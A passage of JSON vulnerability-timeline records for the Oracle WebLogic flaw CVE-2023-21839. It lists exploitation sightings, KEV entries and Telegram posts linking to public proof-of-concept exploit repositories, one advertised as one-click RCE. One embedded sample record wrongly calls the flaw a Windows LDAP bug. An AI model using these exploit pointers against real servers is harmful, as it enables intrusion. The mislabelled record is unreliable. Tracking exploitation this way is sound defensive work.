"417407c6-719a-4e22-9910-a22dd07ac8f4", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-03-03T14:11:21Z", "date_only": false, "value": "2025-03-03T14:11:21.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/16635", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "86211bb1-ca01-4272-95a2-4034e8eb2972", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aWeblogic CVE-2023-21839 RCE (\u65e0\u9700Java\u4f9d\u8d56\u4e00\u952eRCE)\nURL\uff1ahttps://github.com/thishistorian/CVE-2023-21839\n\n\u6807\u7b7e\uff1a#RCE", "url": "https://t.me/GithubRedTeam/16635", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-03-03T22:00:06Z", "date_only": false, "value": "2025-03-03T22:00:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/zSzoebszbbIXMk27Rqts2RR5nycMptSURZnSEC0hbBVOUIQ", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "88f72761-927f-42d1-9e30-280ea99d022d", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-03-05T11:25:46Z", "date_only": false, "value": "2025-03-05T11:25:46.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/17019", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "c9b5bd5c-acdb-4d1e-b6bf-6573eeaa1927", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aWeblogic CVE-2023-21839 RCE (\u65e0\u9700Java\u4f9d\u8d56\u4e00\u952eRCE)\nURL\uff1ahttps://github.com/juniorinter/CVE-2023-21839\n\n\u6807\u7b7e\uff1a#RCE", "url": "https://t.me/GithubRedTeam/17019", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-03-05T16:00:09Z", "date_only": false, "value": "2025-03-05T16:00:09.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/ZlaxNukjypT5vOtDz8wMSCFTorbGWtJCsvTUlszpJkI7kUA", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "e5df8710-ec83-4853-ab9a-33396f7619dc", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-03-15T12:38:06Z", "date_only": false, "value": "2025-03-15T12:38:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/19048", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "60c644b9-bd3a-48fa-9c5f-23de1182a9f8", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aWeblogic CVE-2023-21839 RCE (\u65e0\u9700Java\u4f9d\u8d56\u4e00\u952eRCE)\nURL\uff1ahttps://github.com/lovingpot/CVE-2023-21839\n\n\u6807\u7b7e\uff1a#RCE", "url": "https://t.me/GithubRedTeam/19048", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-03-15T22:00:06Z", "date_only": false, "value": "2025-03-15T22:00:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Oxq5SO8-21GQipP6NIDCbdDkAA225btYdW6eEU8zypkEJg0", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "bdc250e3-2f03-431d-a25a-3a65d4ee5fc7", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-03-21T12:07:20Z", "date_only": false, "value": "2025-03-21T12:07:20.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/22033", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "16c0e3b0-4494-4204-b6e5-dfe01d7d4b12", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aWeblogic CVE-2023-21839 RCE (\u65e0\u9700Java\u4f9d\u8d56\u4e00\u952eRCE)\nURL\uff1ahttps://github.com/illegalbrea/CVE-2023-21839\n\n\u6807\u7b7e\uff1a#RCE", "url": "https://t.me/GithubRedTeam/22033", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-03-21T16:00:10Z", "date_only": false, "value": "2025-03-21T16:00:10.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/vxR48xjEP6WBdCVXNbCTjoVsMUt2b0RWUkGzAhfJjXTHV4Q", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "5108f53e-3a95-41bd-9a7e-e7624cb074f8", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-10-10T10:54:11Z", "date_only": false, "value": "2025-10-10T10:54:11.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/javascript/cves/2023/CVE-2023-21839.yaml", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "c2010d0d-66fd-437f-8ed2-0743ee2a1f57", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/javascript/cves/2023/CVE-2023-21839.yaml"}, {"timestamp": "2025-10-12T21:02:32.516Z", "date_only": false, "value": "2025-10-12T21:02:32.516291Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3m2zlw2o6722q", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "3140e43f-cd34-4542-b83c-3cfe08c767ab", "url": "https://bsky.app/profile/beikokucyber.bsky.social/post/3m2zlw2o6722q"}, {"timestamp": "2025-10-21T23:15:28.458Z", "date_only": false, "value": "2025-10-21T23:15:28.458Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2023-21839", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-10-21T23:15:28.458Z", "date_only": false, "value": "2025-10-21T23:15:28.458Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2023-21839", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-10-22T00:32:38Z", "date_only": false, "value": "2025-10-22T00:32:38Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-F8X3-C29W-WFMJ", "record": "GHSA-F8X3-C29W-WFMJ", "field": "modified"}, {"timestamp": "2025-10-23T21:13:00Z", "date_only": false, "value": "2025-10-23T21:13:00.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "b10147b2-6e3d-4a18-9280-421572534103"}, {"timestamp": "2025-10-27T10:40:07.438Z", "date_only": false, "value": "2025-10-27T10:40:07.438545Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3m46a4woycl2u", "record": "cve-2023-21839", "field": "creation_timestamp", "uuid": "e51defab-0901-423f-ba48-d8edc3961efb", "url": "https://bsky.app/profile/cyberhub.blog/post/3m46a4woycl2u"}, {"timestamp": "2026-02-02T12:25:39Z", "date_only": false, "value": "2026-02-02T12:25:39+00:00", "kind": "kev", "label": "Recorded", "source": "cisa-kev", "record": "CVE-2023-21839", "field": "timestamps.recorded_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "628ebdf4-b837-4278-a32e-ed554a315e56", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-02-02T12:27:00.307Z", "date_only": false, "value": "2026-02-02T12:27:00.307455Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/628ebdf4-b837-4278-a32e-ed554a315e56", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "dd21e8f8-1170-4a5e-b0e6-b7fd36688a9f", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/628ebdf4-b837-4278-a32e-ed554a315e56", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-02T15:05:31Z", "date_only": false, "value": "2026-06-02T15:05:31.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/87005", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "bde34648-c119-44d5-804e-5c3d4248a50a", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2024-21182\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dinosn\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Java\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-02 14:20:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nReproducible Docker lab for CVE-2024-21182 \u2014 Oracle WebLogic T3/IIOP OpaqueReference JNDI injection \u2192 unauthenticated RCE (CVE-2023-21839 patch-bypass family). One-command validate.sh.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/87005"}, {"timestamp": "2026-06-02T21:00:04Z", "date_only": false, "value": "2026-06-02T21:00:04.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/oFANvhI-6gD5N3MdJioXISYRmmtnWIQ07Tw4W0tvnq7rKmo", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "f6193362-348e-4339-9e37-03a0fd046479"}, {"timestamp": "2026-06-17T05:34:09.560Z", "date_only": false, "value": "2026-06-17T05:34:09.560", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2023-21839", "record": "FKIE_CVE-2023-21839", "field": "lastModified"}, {"timestamp": "2026-06-19T12:46:55.773Z", "date_only": false, "value": "2026-06-19T12:46:55.773578Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/bd5aa6f5-22e0-4e34-beaa-2aa2cc89abaa", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "613c8865-5a81-4cde-a96a-fcbd191f69db", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/bd5aa6f5-22e0-4e34-beaa-2aa2cc89abaa", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-23T14:02:37Z", "date_only": false, "value": "2026-06-23T14:02:37+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2023-21839", "field": "timestamps.recorded_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "d6227f8e-5d15-4d29-a64d-fdf265377a9e", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T14:05:39.946Z", "date_only": false, "value": "2026-06-23T14:05:39.946648Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d6227f8e-5d15-4d29-a64d-fdf265377a9e", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "1250cdd6-0c85-43d5-9288-dc094f24d8b3", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d6227f8e-5d15-4d29-a64d-fdf265377a9e", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-12T22:00:12.750Z", "date_only": false, "value": "2026-07-12T22:00:12.750502Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/securixy_kz/825", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "c066c79a-5d3f-4da2-ad6d-1820bcbf5be4", "content": "\u0412 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u043c \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u043f\u0430\u0442\u0447\u0435 #Oracle \u043e\u0442 \u044f\u043d\u0432\u0430\u0440\u044f 2024 \u0433 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 #RCE \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043d\u0430 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 #Weblogic T3\\IIOP #CVE-2024-20931. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 Oracle \u0430\u0432\u0442\u043e\u0440\u043e\u043c \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 2023 \u0433\u043e\u0434\u0430 \u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0430\u0442\u0447\u0430 CVE-2023-21839, \u0447\u0442\u043e \u0432\u043b\u0435\u0447\u0435\u0442 \u0437\u0430 \u0441\u043e\u0431\u043e\u0439 \u043d\u043e\u0432\u0443\u044e \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0434\u043b\u044f #JNDI.\n\n\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u0441\u043a\u0443\u0434\u043d\u043e\u0435, \u043d\u043e \u0434\u0443\u043c\u0430\u0435\u043c \u0441\u043a\u043e\u0440\u043e \u043f\u043e\u044f\u0432\u044f\u0442\u0441\u044f \u0441\u0442\u0430\u0442\u044c\u0438 \u0441 \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u043c.\n\nhttps://github.com/GlassyAmadeus/CVE-2024-20931", "url": "https://t.me/securixy_kz/825"}, {"timestamp": "2026-07-14T00:00:56.978Z", "date_only": false, "value": "2026-07-14T00:00:56.978467Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/securixy_kz/825", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "1a111b79-3a80-4ae6-8e38-42e74981b865", "content": "\u0412 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u043c \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u043f\u0430\u0442\u0447\u0435 #Oracle \u043e\u0442 \u044f\u043d\u0432\u0430\u0440\u044f 2024 \u0433 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 #RCE \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043d\u0430 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 #Weblogic T3\\IIOP #CVE-2024-20931. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 Oracle \u0430\u0432\u0442\u043e\u0440\u043e\u043c \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 2023 \u0433\u043e\u0434\u0430 \u0438 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0430\u0442\u0447\u0430 CVE-2023-21839, \u0447\u0442\u043e \u0432\u043b\u0435\u0447\u0435\u0442 \u0437\u0430 \u0441\u043e\u0431\u043e\u0439 \u043d\u043e\u0432\u0443\u044e \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0434\u043b\u044f #JNDI.\n\n\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u043e\u043a\u0430 \u0441\u043a\u0443\u0434\u043d\u043e\u0435, \u043d\u043e \u0434\u0443\u043c\u0430\u0435\u043c \u0441\u043a\u043e\u0440\u043e \u043f\u043e\u044f\u0432\u044f\u0442\u0441\u044f \u0441\u0442\u0430\u0442\u044c\u0438 \u0441 \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u043c.\n\nhttps://github.com/GlassyAmadeus/CVE-2024-20931", "url": "https://t.me/securixy_kz/825", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-29T12:00:27.467Z", "date_only": false, "value": "2026-07-29T12:00:27.467607Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/14001", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "1d6aa205-5b9c-4ad6-a7c4-f06315708c33", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-21839-metasploit-scanner*\nGithub: https://github.com/kw3h4/CVE-2023-21839-metasploit-scanner", "url": "https://t.me/CVEhub/14001"}, {"timestamp": "2026-07-29T12:00:38.688Z", "date_only": false, "value": "2026-07-29T12:00:38.688398Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/10766", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "4b11d029-1f9f-4608-a591-bd3abbeb7110", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *POC_CVE-2023-21839*\nGithub: https://github.com/houqe/POC_CVE-2023-21839", "url": "https://t.me/CVEhub/10766"}, {"timestamp": "2026-07-29T12:00:50.183Z", "date_only": false, "value": "2026-07-29T12:00:50.183687Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/7782", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "debeb250-2971-4196-9f8a-41f894a4549b", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-21839*\nGithub: https://github.com/Firebasky/CVE-2023-21839", "url": "https://t.me/CVEhub/7782"}, {"timestamp": "2026-07-29T12:00:51.613Z", "date_only": false, "value": "2026-07-29T12:00:51.613105Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/7023", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "ec05b664-75fc-4c72-bff5-f9f8ccf89bff", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-21839*\nGithub: https://github.com/deathflash1411/CVE-2023-21839", "url": "https://t.me/CVEhub/7023"}, {"timestamp": "2026-07-29T12:00:52.480Z", "date_only": false, "value": "2026-07-29T12:00:52.480163Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/6279", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "3b5d6d69-b980-4f88-9de2-c0ce50211176", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *Weblogic-CVE-2023-21839*\nGithub: https://github.com/DXask88MA/Weblogic-CVE-2023-21839", "url": "https://t.me/CVEhub/6279"}, {"timestamp": "2026-07-29T12:00:52.631Z", "date_only": false, "value": "2026-07-29T12:00:52.631311Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/6095", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "f32c156d-ab9c-41e7-a3a9-d741c2a1f9e0", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#rce\nName: *CVE-2023-21839*\nGithub: https://github.com/4ra1n/CVE-2023-21839", "url": "https://t.me/CVEhub/6095"}, {"timestamp": "2026-07-29T20:11:56.731Z", "date_only": false, "value": "2026-07-29T20:11:56.731215Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/Cristhianepcc/c7e27a9709162b053b2f3fd0fc0a981e", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "49de35ec-7813-4026-bc09-d26bfa669584", "content": "group: SOC - Gesti\u00f3n de Vulnerabilidades\ndescription: Base de datos de un Security Operations Center para gesti\u00f3n de vulnerabilidades e incidentes\n\nAnalista = {id_analista, nombre, especialidad, nivel, salario\n1, 'Carlos L\u00f3pez', 'Malware Analysis', 'Senior', 85000\n2, 'Mar\u00eda Garc\u00eda', 'Vulnerability Management', 'Specialist', 72000\n3, 'Juan Rodr\u00edguez', 'Incident Response', 'Junior', 48000\n4, 'Sofia Mart\u00ednez', 'Threat Intelligence', 'Senior', 90000\n5, 'Pedro S\u00e1nchez', 'Network Security', 'Specialist', 70000\n}\n\nActivo = {id_activo, hostname, ip, sistema_operativo, criticidad\n101, 'web-server-01', '192.168.1.10', 'Linux Ubuntu 20.04', 'Cr\u00edtico'\n102, 'db-server-01', '192.168.1.20', 'Linux CentOS 8', 'Cr\u00edtico'\n103, 'firewall-01', '192.168.1.1', 'PfSense 2.5', 'Cr\u00edtico'\n104, 'workstation-01', '192.168.1.50', 'Windows 10', 'Medio'\n105, 'dns-server-01', '192.168.1.30', 'Linux Ubuntu 22.04', 'Alto'\n106, 'mail-server-01', '192.168.1.40', 'Linux Debian 11', 'Alto'\n107, 'storage-01', '192.168.1.60', 'Windows Server 2019', 'Medio'\n108, 'ldap-server-01', '192.168.1.35', 'Linux Ubuntu 18.04', 'Alto'\n}\n\nVulnerabilidad = {id_vuln, cve, descripcion, severidad, cvss\n1001, 'CVE-2023-44487', 'HTTP/2 Rapid Reset (DoS)', 'Alto', 7.5\n1002, 'CVE-2023-46604', 'Apache OFBiz Authentication Bypass', 'Cr\u00edtico', 9.8\n1003, 'CVE-2023-21123', 'Intel CPU Denial of Service', 'Medio', 5.5\n1004, 'CVE-2023-4911', 'glibc Buffer Overflow', 'Cr\u00edtico', 9.3\n1005, 'CVE-2023-38545', 'curl SOCKS5 Heap Buffer Overflow', 'Alto', 8.8\n1006, 'CVE-2023-35078', 'WordPress Plugin Vulnerability', 'Medio', 6.5\n1007, 'CVE-2023-20198', 'IOS Local Privilege Escalation', 'Alto', 7.8\n1008, 'CVE-2023-21839', 'Windows LDAP Remote Code Execution', 'Cr\u00edtico', 9.9\n}\n\nHallazgo = {id_hallazgo, id_activo, id_vuln, id_analista, fecha_deteccion, estado\n2001, 101, 1002, 1, 2023-10-15, 'Remediado'\n2002, 102, 1004, 2, 2023-10-16, 'En Progreso'\n2003, 101, 1001, 3, 2023-10-17, 'Detectado'\n2004, 103, 1008, 4, 2023-10-18, 'Remediado'\n2005, 105, 1005, 5, 2023-10-19, 'En Progreso'\n2006, 104, 1006, 2, 2023-10-20, 'Detectado'\n2007, 106, 1003, 1, 2023-10-21, 'Remediado'\n2008, 108, 1007, 3, 2023-10-22, 'En Progreso'\n2009, 102, 1001, 4, 2023-10-23, 'Detectado'\n2010, 107, 1005, 5, 2023-10-24, 'Remediado'\n2011, 101, 1008, 1, 2023-10-25, 'Detectado'\n}\n\nIncidente = {id_incidente, id_activo, id_analista, tipo, fecha_inicio, impacto\n3001, 101, 1, 'Exfiltraci\u00f3n de Datos', 2023-10-15, 'Alto'\n3002, 102, 2, 'Acceso No Autorizado', 2023-10-16, 'Cr\u00edtico'\n3003, 105, 4, 'DoS', 2023-10-17, 'Medio'\n3004, 103, 5, 'Malware', 2023-10-19, 'Alto'\n3005, 108, 3, 'Phishing', 2023-10-22, 'Bajo'\n3006, 106, 1, 'Privileg Escalation', 2023-10-25, 'Cr\u00edtico'\n}", "url": "https://gist.github.com/Cristhianepcc/c7e27a9709162b053b2f3fd0fc0a981e"}, {"timestamp": "2026-07-31T00:00:25.031Z", "date_only": false, "value": "2026-07-31T00:00:25.031674Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/14001", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "9b954807-2358-4866-ada1-55d28bd531e8", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-21839-metasploit-scanner*\nGithub: https://github.com/kw3h4/CVE-2023-21839-metasploit-scanner", "url": "https://t.me/CVEhub/14001", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-31T06:00:04.381Z", "date_only": false, "value": "2026-07-31T06:00:04.381249Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/10766", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "7f1b35d0-d1a5-45ef-b5cd-f52cc15a64c4", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *POC_CVE-2023-21839*\nGithub: https://github.com/houqe/POC_CVE-2023-21839", "url": "https://t.me/CVEhub/10766", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-31T17:00:04.074Z", "date_only": false, "value": "2026-07-31T17:00:04.074884Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/7782", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "38911409-bbf2-4c37-a6eb-1aec55057a96", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-21839*\nGithub: https://github.com/Firebasky/CVE-2023-21839", "url": "https://t.me/CVEhub/7782", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-31T18:00:04.924Z", "date_only": false, "value": "2026-07-31T18:00:04.924906Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/7023", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "db0e058d-24c5-4f7a-8022-cebbcfbeb5c0", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-21839*\nGithub: https://github.com/deathflash1411/CVE-2023-21839", "url": "https://t.me/CVEhub/7023", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-31T19:00:03.823Z", "date_only": false, "value": "2026-07-31T19:00:03.823135Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/6095", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "c1805359-5539-4ecd-8151-24b71ab4d01d", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#rce\nName: *CVE-2023-21839*\nGithub: https://github.com/4ra1n/CVE-2023-21839", "url": "https://t.me/CVEhub/6095", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-31T19:00:04.092Z", "date_only": false, "value": "2026-07-31T19:00:04.092915Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/6279", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "2215481c-fa86-42d4-92ed-601e23ea8dc1", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *Weblogic-CVE-2023-21839*\nGithub: https://github.com/DXask88MA/Weblogic-CVE-2023-21839", "url": "https://t.me/CVEhub/6279", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-08-09T19:00:03.385Z", "date_only": false, "value": "2026-08-09T19:00:03.385867Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/97330", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "cef34f71-1962-4de7-80e0-b6b37003773d", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Weblogic #CVE #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2023-21839\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ASkyeye\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 115  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 107\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-09 17:41:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWeblogic CVE-2023-21839 RCE (\u65e0\u9700Java\u4f9d\u8d56\u4e00\u952eRCE)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/97330", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-08-18T00:00:00Z", "date_only": true, "value": "2026-08-18", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-1053", "record": "CERTFR-2026-AVI-1053", "field": "vendor_advisories.0.published_at"}, {"timestamp": "2026-08-19T00:00:00Z", "date_only": false, "value": "2026-08-19T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-1053", "record": "CERTFR-2026-AVI-1053", "field": "last_revision_date"}, {"timestamp": "2026-08-19T00:00:00Z", "date_only": false, "value": "2026-08-19T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-1053", "record": "CERTFR-2026-AVI-1053", "field": "initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": 